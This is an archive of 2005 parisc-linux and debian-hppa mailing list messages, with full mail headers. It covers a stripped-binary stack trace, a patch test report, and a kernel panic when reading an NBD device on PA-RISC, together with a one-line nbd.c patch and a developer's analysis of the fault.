List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Wed, 30 Nov 2005 21:12:03 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: Xw/8Y8pdeSEkSb6WZHQhaXN1IGRvbwBC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25213

> John David Anglin wrote:
> >> The limited stack trace is:
> >>
> >> Program received signal SIGSEGV, Segmentation fault.
> >> 0x000255fc in pop_everything ()
> >> (gdb) bt
> >> #0  0x000255fc in pop_everything ()
> >> #1  0x0002f834 in cxx_insert_default_attributes ()
> >> #2  0x00072688 in cxx_make_type ()
> >> #3  0x000b7870 in c_common_parse_file ()
> >> #4  0x0022bb8c in rtx_addr_varies_p ()
> >> #5  0x00231224 in rtx_addr_varies_p ()
> >> #6  0x002312e8 in rtx_addr_varies_p ()
> >> #7  0x401ee6e4 in __libc_start_main () from /lib/libc.so.6
> >> #8  0x00016a58 in ?? ()
> > 
> > This stack trace looks wierd at the higher numbers.
> 
> This is because the binary is stripped so the symbol info for static
> functions are lost. All those rtx_address_varies_p() references are
> probably pointing to static functions.

Still seems strange to me.  Are you sure that the start of the unwind
region for each frame matches the symbol printed?  I guess the symbols
are from .dynsym.  Isn't main in .dynsym?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.15-rc3-pa0 failed to build fix [Was:
	2.6.15-rc3 merged successfully with rc2-pa2 but failed to build]
Date: Thu, 1 Dec 2005 18:00:46 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <e6eae0290512011000i3b89df60m@mail.gmail.com>
References: <IQT31C$A9CEBF93C62372CCD64DEF3B72E83892@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624569 27383 80.91.229.3 (22 Nov 2014 02:49:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:29 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:28:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Dec 2005 18:00:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx054) with SMTP; 01 Dec 2005 19:00:58 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EBD037D684;
	Thu,  1 Dec 2005 11:00:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13773-03; Thu, 1 Dec 2005 11:00:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D6CB47D687;
	Thu,  1 Dec 2005 11:00:53 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DDC967D680
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Dec 2005 11:00:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13355-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 1 Dec 2005 11:00:48 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 5D81E7D676
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Dec 2005 11:00:48 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 28218494054; Thu,  1 Dec 2005 11:00:48 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from zproxy.gmail.com (zproxy.gmail.com [64.233.162.200])
	by palinux.hppa (Postfix) with ESMTP id E324C49400D
	for <parisc-linux@parisc-linux.org>;
	Thu,  1 Dec 2005 11:00:47 -0700 (MST)
Original-Received: by zproxy.gmail.com with SMTP id 9so91568nzo
	for <parisc-linux@parisc-linux.org>;
	Thu, 01 Dec 2005 10:00:47 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=iXYx9rqojFoRPO2dMXC7LK//3h+ZpdGBYDmneW0y3AY0fE6aLpkA+iytX5nlbXi+i+ejyJALnYc6oEi7+aDsEchoFigGM8ILIYncD/rk3a63qWiw5voiZV9LfynNawEV4dEA0l2EkqWRGAprIXHkGkA1WmdG+hbxTPaQLyn3EW0=
Original-Received: by 10.64.232.11 with SMTP id e11mr999421qbh;
	Thu, 01 Dec 2005 10:00:46 -0800 (PST)
Original-Received: by 10.64.209.4 with HTTP; Thu, 1 Dec 2005 10:00:46 -0800 (PST)
In-Reply-To: <IQT31C$A9CEBF93C62372CCD64DEF3B72E83892@scarlet.be>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DF/9Y+gjeSEkRL6WZHQhaXN1IGRvb8DE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25214

On 01/12/05, Joel Soete <soete.joel@tiscali.be> wrote:
> > Hi *,
> >
> > I just get a try to this merge (near straightforward :<)) but failled t=
o build
> > in 2 places with the same error:

[...]

> > I doubt it could be the fix as it seems that it was already build witho=
ut that
> > stuff (<http://lkml.org/lkml/2005/11/29/27>)?
> >
> Anyway feel safe to ci (no cvs write access), it's like this in mm1 as we=
ll as
> in <http://www.kernel.org/pub/scm/linux/kernel/git/torvalds/linux-2.6.git=
>
> repository, though.

I tested you patch and it works for me (TM).
Tested on c3700, 32bit UP, gcc-3.4, running for 10 hours now with
heavy i/o, no problems.
  Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel panic when reading from a NBD device
Date: Sun, 4 Dec 2005 20:27:10 +0100
Lines: 118
Approved: news@gmane.org
Message-ID: <20051204202710.6615ca1e.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="Multipart=_Sun__4_Dec_2005_20_27_10_+0100_MYIXanv0JyK92nNu"
X-Trace: ger.gmane.org 1416624570 27385 80.91.229.3 (22 Nov 2014 02:49:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:30 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Dec 2005 19:24:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 04 Dec 2005 20:24:39 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 80CFB7D6CA;
	Sun,  4 Dec 2005 12:24:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06326-06; Sun, 4 Dec 2005 12:24:33 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6797E7D6CB;
	Sun,  4 Dec 2005 12:24:32 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 47DA67D6C9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Dec 2005 12:24:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06326-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 4 Dec 2005 12:24:27 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id AD0147D6BA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Dec 2005 12:24:27 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 5368149557F; Sun,  4 Dec 2005 12:24:27 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from outmx012.isp.belgacom.be (outmx012.isp.belgacom.be
	[195.238.3.70]) by palinux.hppa (Postfix) with ESMTP id DC20949400C
	for <parisc-linux@parisc-linux.org>;
	Sun,  4 Dec 2005 12:24:26 -0700 (MST)
Original-Received: from outmx012.isp.belgacom.be (localhost [127.0.0.1])
	by outmx012.isp.belgacom.be (8.12.11/8.12.11/Skynet-OUT-2.22) with
	ESMTP id jB4JOK32006432
	for <parisc-linux@parisc-linux.org>; Sun, 4 Dec 2005 20:24:20 +0100
	(envelope-from <gmsoft@tuxicoman.be>)
Original-Received: from ibiza.lln.tuxicoman.be (195-129.245.81.adsl.skynet.be
	[81.245.129.195])
	by outmx012.isp.belgacom.be (8.12.11/8.12.11/Skynet-OUT-2.22) with
	ESMTP id jB4JO6Ro006291
	for <parisc-linux@parisc-linux.org>; Sun, 4 Dec 2005 20:24:06 +0100
	(envelope-from <gmsoft@tuxicoman.be>)
Original-Received: from bleh.lln.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.lln.tuxicoman.be with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.50) id 1EizSv-0008ED-UY
	for parisc-linux@parisc-linux.org; Sun, 04 Dec 2005 20:24:06 +0100
X-Mailer: Sylpheed version 1.0.5 (GTK+ 1.2.10; i686-pc-linux-gnu)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ICfhY8pYeSEkS76WZHQhaXN1IGRvb8B6
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25215

This is a multi-part message in MIME format.

--Multipart=_Sun__4_Dec_2005_20_27_10_+0100_MYIXanv0JyK92nNu
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit


Hi all,

If you read from a nbd device (b 43 0) you got a kernel panic (attached).

This bug is very similar to the one that Kyle fixed on 2.6.12 with the ide-cdrom kernel panicing when reading from it.

Even if I don't fully understand the problem, I was able to fix the problem using a similar fix.

Please have a look at the attached diff which is certainly not perfect but which is a good start :)

For reference, the Gentoo bug is here :
http://bugs.gentoo.org/show_bug.cgi?id=105414


Regards,
  Guy


--Multipart=_Sun__4_Dec_2005_20_27_10_+0100_MYIXanv0JyK92nNu
Content-Type: text/x-log;
 name="nbd-kernel-panic.log"
Content-Disposition: attachment;
 filename="nbd-kernel-panic.log"
Content-Transfer-Encoding: 7bit


Backtrace:
 [<101587d4>] blk_queue_bounce+0xf0/0x320
 [<1029efd4>] __make_request+0x70/0x548
 [<1029f880>] generic_make_request+0x150/0x2e8
 [<1029fa88>] submit_bio+0x70/0x120
 [<1016fc34>] submit_bh+0x124/0x194
 [<10172388>] block_read_full_page+0x324/0x370
 [<101512f0>] __do_page_cache_readahead+0x18c/0x2e0
 [<101515f8>] blockable_page_cache_readahead+0x70/0xec
 [<10151838>] page_cache_readahead+0x110/0x238
 [<1014995c>] do_generic_mapping_read+0x5e0/0x718
 [<1014c76c>] __generic_file_aio_read+0x154/0x1d4
 [<1014c920>] generic_file_read+0x90/0xc4
 [<1016c604>] vfs_read+0x84/0x17c
 [<1016ca28>] sys_read+0x54/0xa4
 [<1010d114>] syscall_exit+0x0/0x14


Kernel Fault: Code=26 regs=4e3ac980 (Addr=0000000c)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111000001111 Not tainted
r00-03  00000000 00000420 101587d4 00011210
r04-07  00011200 00000000 00000000 4fc05770
r08-11  4fc03580 4e67cae8 4e3ac7d8 00000000
r12-15  00000000 10505010 10505010 10000000
r16-19  10175b58 00000000 10fd8ce0 ffffffaf
r20-23  10172848 4fc03580 4fc0577c 00000000
r24-27  00000000 00000010 00011200 103fc010
r28-31  4fc03580 00000420 4e3ac980 10152380
sr0-3   00000000 00000000 00000000 00000272
sr4-7   00000000 00000000 00000000 00000000

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00000000000000000000000000000000
FPER1: 00000000
fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr04-07  0000000100000001 0000000000000124 000000003a94d4f7 00000000431bde83
fr08-11  a7d72bedc38f6495 00071341955e038a 000000000019660d 4141e8b900000000
fr12-15  00000000104b3000 104b30001017c100 1046400000000228 4fc2014000000000
fr16-19  fffffff424850e06 0000001f00000000 0000001f00000000 0000001f00000000
fr20-23  0000000000000000 555555551016b810 00000ef80000077c 000016740000000a
fr24-27  000000030efb0956 3fe58edc3bd59924 4008000000000000 413e848000000000
fr28-31  3ff0000000000000 3fe0000000000000 41248f3200000000 412e848000000000

IASQ: 00000000 00000000 IAOQ: 1014ce6c 1014ce70
 IIR: 0cb81099    ISR: 00000000  IOR: 0000000c
 CPU:        0   CR30: 4e3ac000 CR31: 1045c000
 ORIG_R28: 00000000
 IAOQ[0]: mempool_alloc+0x38/0x100
 IAOQ[1]: mempool_alloc+0x3c/0x100
 RP(r2): blk_queue_bounce+0xf0/0x320
Kernel panic - not syncing: Kernel Fault
 
--Multipart=_Sun__4_Dec_2005_20_27_10_+0100_MYIXanv0JyK92nNu
Content-Type: text/x-patch;
 name="nbd-blk_queue_bounce_limit.patch"
Content-Disposition: attachment;
 filename="nbd-blk_queue_bounce_limit.patch"
Content-Transfer-Encoding: 7bit

--- ../linux.orig/drivers/block/nbd.c	2005-09-05 20:05:01.000000000 +0200
+++ drivers/block/nbd.c	2005-12-04 18:56:51.000000000 +0100
@@ -665,6 +665,7 @@
 		 * These structs are big so we dynamically allocate them.
 		 */
 		disk->queue = blk_init_queue(do_nbd_request, &nbd_lock);
+		blk_queue_bounce_limit(disk->queue, BLK_BOUNCE_ANY);
 		if (!disk->queue) {
 			put_disk(disk);
 			goto out;

--Multipart=_Sun__4_Dec_2005_20_27_10_+0100_MYIXanv0JyK92nNu
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Multipart=_Sun__4_Dec_2005_20_27_10_+0100_MYIXanv0JyK92nNu--



From - Thu Nov 08 21:36:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic when reading from a NBD device
Date: Sun, 4 Dec 2005 20:39:21 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <20051205013921.GA26910@quicksilver.road.mcmartin.ca>
References: <20051204202710.6615ca1e.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624570 27389 80.91.229.3 (22 Nov 2014 02:49:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:30 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:28:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Dec 2005 01:39:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 05 Dec 2005 02:39:32 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DAE3D7D6C1;
	Sun,  4 Dec 2005 18:39:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07599-09; Sun, 4 Dec 2005 18:39:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC2C57D6C2;
	Sun,  4 Dec 2005 18:39:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D28707D6C0
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Dec 2005 18:39:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07599-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 4 Dec 2005 18:39:24 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 5170A7D6BC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Dec 2005 18:39:24 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id ED51D495580; Sun,  4 Dec 2005 18:39:24 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by palinux.hppa (Postfix) with ESMTP id B23D149400C
	for <parisc-linux@parisc-linux.org>;
	Sun,  4 Dec 2005 18:39:23 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 780AC17088;
	Sun,  4 Dec 2005 20:39:22 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15456-04; Sun, 4 Dec 2005 20:39:22 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0030ab0b413b-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.28.1.105])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 0AE3017083;
	Sun,  4 Dec 2005 20:39:21 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id AB4D43B059; Sun,  4 Dec 2005 20:39:21 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20051204202710.6615ca1e.gmsoft@tuxicoman.be>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Av/hY/oseSEkaL6WZHQhaXN1IGRvbwDH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25216

On Sun, Dec 04, 2005 at 08:27:10PM +0100, Guy Martin wrote:
>  IAOQ[0]: mempool_alloc+0x38/0x100
>  IAOQ[1]: mempool_alloc+0x3c/0x100
>  RP(r2): blk_queue_bounce+0xf0/0x320

If I had to guess, this is because the pool argument of
mempool_alloc is NULL. As it is directly dereferenced
in mm/mempool.c:mempool_alloc() line 220.

	element = pool->alloc(gfp_temp, pool->pool_data);

Called from mm/highmem.c:blk_queue_bounce() which must be
setting pool to page_pool, which would be uninitialized because
CONFIG_HIGHMEM is not set. I would guess that blk_queue_bounce
is missing this 

		if (q->bounce_pfn >= blk_max_pfn)
			return;

if-clause... blk_max_pfn is set from max_pfn in 
arch/parisc/mm/init.c:setup_bootmem(). q->bounce_pfn is unset because
blk_bounce_queue_limit() hasn't been called.

I'm unsure of the best way to proceed from here, it seems clear
we have a bug of some sort. I'm not sure that your patch is 
generically correct... might want to bring this up with the nbd
folks until we figure out what our bug is here.

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic when reading from a NBD device
Date: Sun, 4 Dec 2005 22:25:15 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <20051205052515.GA25789@colo.lackof.org>
References: <20051204202710.6615ca1e.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624570 27391 80.91.229.3 (22 Nov 2014 02:49:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:30 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:28:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Dec 2005 05:17:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 05 Dec 2005 06:17:13 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 990E27D647;
	Sun,  4 Dec 2005 22:17:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09028-02; Sun, 4 Dec 2005 22:17:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F21997D64F;
	Sun,  4 Dec 2005 22:17:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 62A1C7D6CB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Dec 2005 22:17:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08228-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 4 Dec 2005 22:17:02 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D5CEB7D6C9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Dec 2005 22:17:02 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id A5967495580; Sun,  4 Dec 2005 22:17:02 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 5F85449400C
	for <parisc-linux@parisc-linux.org>;
	Sun,  4 Dec 2005 22:17:02 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 020D5360018;
	Sun,  4 Dec 2005 22:25:16 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26864-02; Sun, 4 Dec 2005 22:25:15 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8C293360014; Sun,  4 Dec 2005 22:25:15 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20051204202710.6615ca1e.gmsoft@tuxicoman.be>
X-Home-Page: http://www.parisc-linux.org/
